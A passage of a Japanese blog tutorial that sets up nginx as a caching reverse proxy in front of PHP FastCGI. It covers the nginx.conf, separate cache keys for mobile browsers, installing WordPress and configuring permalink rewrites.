#error_log &nbsp;/var/log/nginx/error.log &nbsp;notice<span style="color: #666666; font-style: italic;">;</span><br />
#error_log &nbsp;/var/log/nginx/error.log &nbsp;info<span style="color: #666666; font-style: italic;">;</span><br />
<br />
pid &nbsp; &nbsp; &nbsp; &nbsp;/var/run/nginx.pid<span style="color: #666666; font-style: italic;">;</span><br />
<br />
events <span style="">&#123;</span><br />
&nbsp; &nbsp; worker_connections &nbsp;<span style="">1024</span><span style="color: #666666; font-style: italic;">;</span><br />
<span style="">&#125;</span><br />
<br />
http <span style="">&#123;</span><br />
&nbsp; &nbsp; include &nbsp; &nbsp; &nbsp; /etc/nginx/mime.types<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; default_type &nbsp;application/octet-stream<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; log_format &nbsp;main &nbsp;'$remote_addr - $remote_user <span style="color: #000066; font-weight:bold;"><span style="">&#91;</span>$time_local<span style="">&#93;</span></span> <span style="color: #933;">&quot;$request&quot;</span> '<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '$status $body_bytes_sent <span style="color: #933;">&quot;$http_referer&quot;</span> '<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; '<span style="color: #933;">&quot;$http_user_agent&quot;</span> <span style="color: #933;">&quot;$http_x_forwarded_for&quot;</span>'<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; access_log &nbsp;/var/log/nginx/access.log &nbsp;main<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; sendfile &nbsp; &nbsp; &nbsp; &nbsp;on<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; keepalive_timeout &nbsp;<span style="">5</span><span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; gzip &nbsp;on<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; gzip_disable <span style="color: #933;">&quot;MSIE [1-6]\.&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; proxy_cache_path &nbsp;/var/cache/nginx levels<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">1:2 keys_zone=czone:4m max_size=50m inactive=120m</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_temp_path &nbsp; /var/tmp/nginx<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_cache_key &nbsp; <span style="color: #933;">&quot;$scheme://$host$request_uri&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_set_header &nbsp;Host &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $host<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_set_header &nbsp;X-Real-IP &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remote_addr<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_set_header &nbsp;X-Forwarded-Host &nbsp; $host<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_set_header &nbsp;X-Forwarded-Server $host<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; proxy_set_header &nbsp;X-Forwarded-For &nbsp; &nbsp;$proxy_add_x_forwarded_for<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; upstream backend <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ip_hash<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server 127.0.0.1:<span style="">8080</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; server <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; <span style="">80</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;example.com<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>$http_user_agent ~* '<span style="">&#40;</span>DoCoMo|J-PHONE|Vodafone|MOT-|UP\.Browser|DDIPOCKET|ASTEL|PDXGW|Palmscape|Xiino|sharp pda browser|Windows CE|L-mode|WILLCOM|SoftBank|Semulator|Vemulator|J-EMULATOR|emobile|mixi-mobile-converter<span style="">&#41;</span>'<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $mobile <span style="">1</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>$http_user_agent ~* '<span style="">&#40;</span>iPhone|iPod|Opera Mini|Android.*Mobile|NetFront|PSP|BlackBerry<span style="">&#41;</span>'<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $mobile <span style="">2</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>$http_cookie ~* <span style="color: #933;">&quot;comment_author_[^=]*=([^%]+)%7C|wordpress_logged_in_[^=]*=([^%]+)%7C&quot;</span><span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set $do_not_cache <span style="">1</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_no_cache &nbsp; &nbsp; $do_not_cache<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_bypass $do_not_cache<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache czone<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_key <span style="color: #933;">&quot;$scheme://$host$request_uri$is_args$args$mobile&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid &nbsp;<span style="">200</span> <span style="">301</span> <span style="">302</span> 10m<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid &nbsp;<span style="">404</span> 5m<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_use_stale &nbsp;error timeout invalid_header updating<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http_500 http_502 http_503 http_504<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_pass http://backend<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_redirect http://example.com:<span style="">8080</span>/ /<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location ~ /purge<span style="">&#40;</span>/.*<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allow 127.0.0.1<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allow 192.0.2.1<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; deny all<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_purge czone <span style="color: #933;">&quot;$scheme://$host$1$is_args$args$mobile&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; server <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; <span style="">8080</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;example.com<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /var/www/html<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index &nbsp;index.html index.htm index.php<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; error_page &nbsp;<span style="">404</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/<span style="">404</span>.html<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000099;">location</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /404.html <span style="">&#123;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /usr/share/nginx/html<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; error_page &nbsp; <span style="">500</span> <span style="">502</span> <span style="">503</span> <span style="">504</span> &nbsp;/50x.html<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000099;">location</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> /50x.html <span style="">&#123;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /usr/share/nginx/html<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location ~ \.php$ <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_pass &nbsp; 127.0.0.1:<span style="">9000</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_index &nbsp;index.php<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_param &nbsp;SCRIPT_FILENAME &nbsp;/var/www/html$fastcgi_script_name<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; include &nbsp; &nbsp; &nbsp; &nbsp;fastcgi_params<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location ~ /\.ht <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; deny &nbsp;all<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; # Load config files from the /etc/nginx/conf.d directory<br />
&nbsp; &nbsp; include /etc/nginx/conf.d/*.conf<span style="color: #666666; font-style: italic;">;</span><br />
<span style="">&#125;</span></div></div>
<p>この設定ファイルは以下のサーバ環境用に設定しています。サーバ環境に応じて適宜修正してください。</p>
<ul>
<li>サーバの IP アドレス: 192.0.2.1</li>
<li>ホスト名: example.com</il>
<li>HTML ドキュメントルート: /var/www/html</li>
<li>リバースプロクシのポート: 80</li>
<li>バックエンドウェブサーバのポート: 8080</li>
<li>PHP FastCGI サーバのポート: 9000</li>
</ul>
<p>ドキュメントルートに対して nginx ユーザーから読み込み権限が必要になります。WordPress を使用する場合ウェブディレクトリに対して書き込み権限も必要ですので、ドキュメントルートのオーナーを nginx ユーザー（FastCGI の実行ユーザー）に変更しておく方が良いかもしれません。</p>
<hr class="linebreak" />
<p>リバースプロクシのキャッシュを PC と携帯とスマートフォンで切り替える設定を入れています。不要な方は location / の設定を以下のように変更してください。<a href="http://wppluginsj.sourceforge.jp/ktai_style/">Ktai Style</a> や <a href="http://wordpress.org/extend/plugins/wptouch/">WPTouch</a> を使う場合はそのままで。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_no_cache &nbsp; &nbsp; $do_not_cache<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_bypass $do_not_cache<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache czone<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_key <span style="color: #933;">&quot;$scheme://$host$request_uri$is_args$args&quot;</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid &nbsp;<span style="">200</span> <span style="">301</span> <span style="">302</span> 10m<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid &nbsp;<span style="">404</span> 5m<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_use_stale &nbsp;error timeout invalid_header updating<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http_500 http_502 http_503 http_504<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_pass http://backend<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_redirect http://example.com:<span style="">8080</span>/ /<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span></div></div>
<hr class="linebreak" />
<p>設定ファイルを自分の環境用に書き換えたら nginx を動かします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>nginx start</div></div>
<p>この状態でブラウザからホストにアクセスすると 403 Forbidden が表示されると思います。</p>
<p>ドキュメントルートに空のファイルを作成し、ブラウザでアクセスできるか確認します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">cp</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>index.html</div></div>
<p>同じく phpinfo を実行するスクリプトを作成し、ブラウザでアクセスできるか確認します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">'&lt;?php phpinfo() ?&gt;'</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html<span style="color: #000000; font-weight: bold;">/</span>phpinfo.php</div></div>
<p>動作が確認できたら index.html と phpinfo.php を削除し（残してても良いですけど）、chkconfig を実行してリブート時に nginx と PHP FastCGI サーバが起動するように設定します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>chkconfig <span style="color: #660033;">--level</span> <span style="color: #000000;">345</span> nginx on<br />
<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>chkconfig <span style="color: #660033;">--level</span> <span style="color: #000000;">345</span> php-fastcgi on</div></div>
<h3>WordPress のインストール</h3>
<p>PHP の動作が確認できれば、WordPress のインストール自体は Apache の場合とそれほど違いません。</p>
<p>まず VPS ですので mysql コマンドでデータベースを作ります。</p>
<div class="codecolorer-container sql dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">DATABASE</span> wordpress <span style="color: #993333; font-weight: bold;">DEFAULT</span> charset utf8;<br />
<span style="color: #993333; font-weight: bold;">GRANT</span> <span style="color: #993333; font-weight: bold;">ALL</span> <span style="color: #993333; font-weight: bold;">ON</span> wordpress<span style="color: #66cc66;">.*</span> <span style="color: #993333; font-weight: bold;">TO</span> <span style="color: #ff0000;">'wpuser'</span>@<span style="color: #ff0000;">'localhost'</span> <span style="color: #993333; font-weight: bold;">IDENTIFIED</span> <span style="color: #993333; font-weight: bold;">BY</span> <span style="color: #ff0000;">'password'</span>;</div></div>
<p>ja.wordpress.org から<a href="http://ja.wordpress.org/latest-ja.zip">最新版の WordPress</a> をダウンロードして /var/www/nginx に展開します。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>nginx<br />
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>ja.wordpress.org<span style="color: #000000; font-weight: bold;">/</span>latest-ja.zip<br />
<span style="color: #c20cb9; font-weight: bold;">unzip</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>latest-ja.zip<br />
<span style="color: #c20cb9; font-weight: bold;">chown</span> <span style="color: #660033;">-R</span> nginx:nginx wordpress</div></div>
<p>wordpress ディレクトリの wp-config-sample.php を wp-config.php にコピーし、</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> wordpress<br />
<span style="color: #c20cb9; font-weight: bold;">cp</span> wp-config-sample.php wp-config.php</div></div>
<p>wp-config.php にデータベース設定と FS_METHOD を追加します。FS_METHOD を direct にすると、WordPress プラグインなどのダウンロード時に ftp を使用せず PHP スクリプトから直接ダウンロードするようになります。必須ではありませんが、VPS で ftp の設定をわざわざするのも面倒なので付けてます。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_NAME'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'wordpress'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_USER'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'wpuser'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'DB_PASSWORD'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'password'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'FS_METHOD'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'direct'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<hr class="linebreak" />
<p>WordPress の設定が終わったら、ブラウザでアクセスする前に、/wordpress/wp-admin へのアクセスをキャッシュしないよう nginx.conf のリバースプロクシの設定を変更します。（この修正を入れた nginx.conf を <a href="/nginx/nginx-wordpress.conf">nginx-wordpress.conf</a> に置いています。）</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; server <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; <span style="">80</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;example.com<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location /wordpress/wp-admin/ <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; proxy_pass http://backend<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span></div></div>
<p>nginx.conf を修正したらリブートします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>nginx restart</div></div>
<p>これでブラウザから http://example.com/wordpress/ などのインストールした URL にアクセスすると WordPress のインストーラが立ち上がります。</p>
<hr class="thin-linebreak" />
<h4>パーマリンクの変更</h4>
<p>パーマリンクを /wordpress/archives/1 等の形式に変更する場合、WordPress の設定を変える前に nginx.conf のバックエンドサーバの設定を変更する必要があります。</p>
<p>WordPress のインストール先が /wordpress/ で、/wordpress/ 以下のみを WordPress として運用する場合（トップページを WordPress に割り当てない）は、以下のように nginx.conf の location / に if (!-f $request_filename) { } を加え、location /wordpress を加えます。</p>
<div class="codecolorer-container ini dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; server <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; listen &nbsp; &nbsp; &nbsp; <span style="">8080</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name &nbsp;example.com<span style="color: #666666; font-style: italic;">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /var/www/nginx<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index &nbsp;index.html index.htm index.php<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>-f $request_filename<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; location /wordpress <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root &nbsp; /var/www/nginx<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index &nbsp;index.html index.htm index.php<span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if <span style="">&#40;</span>!-e $request_filename<span style="">&#41;</span> <span style="">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; rewrite ^<span style="">&#40;</span>.+<span style="">&#41;</span>$ &nbsp;/wordpress/index.php?q<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">$1 last</span><span style="color: #666666; font-style: italic;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="">&#125;</span></div></div>
<p>設定を変更したら nginx をリブートします。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>nginx restart</div></div>
<p>nginx をリブートしたら WordPress のパーマリンク設定を変更します。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/permalink.png" alt="" title="パーマリンク設定" width="468" height="355" class="aligncenter size-full wp-image-4734 capture" /></p>
<hr class="thin-linebreak" />
<h4>パーマリンクの変更（WordPress ディレクトリとは別のディレクトリにサイトのホームページを設定する場合）</h4>
<p>なにを言ってるかよく分からないかもしれませんが、WordPress の一般設定で以下のキャプチャのように WordPress のアドレス (URL) とサイトのアドレス (URL) を変えた場合に、パーマリンクの変更を行うための設定方法です。</p>
<p><img src="http://sakuratan.biz/blog/wp-content/uploads/2011/09/wpsite.png" alt="" title="一般設定" width="428" height="234" class="aligncenter size-full wp-image-4737 capture" /></p>
<p>この設定を行う場合、まず wordpress/index.php をコピーして HTML ドキュメントルートに index.php を作ります。</p>
<div class="codecolorer-container bash dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>html<br />
<span style="color: #c20cb9; font-weight: bold;">cp</span> wordprses<span style="color: #000000; font-weight: bold;">/</span>index.php index.php</div></div>
<p>コピーした index.php の require 部分を以下のように書き換えます。</p>
<div class="codecolorer-container php dawn" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./wordpress/wp-blog-header.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
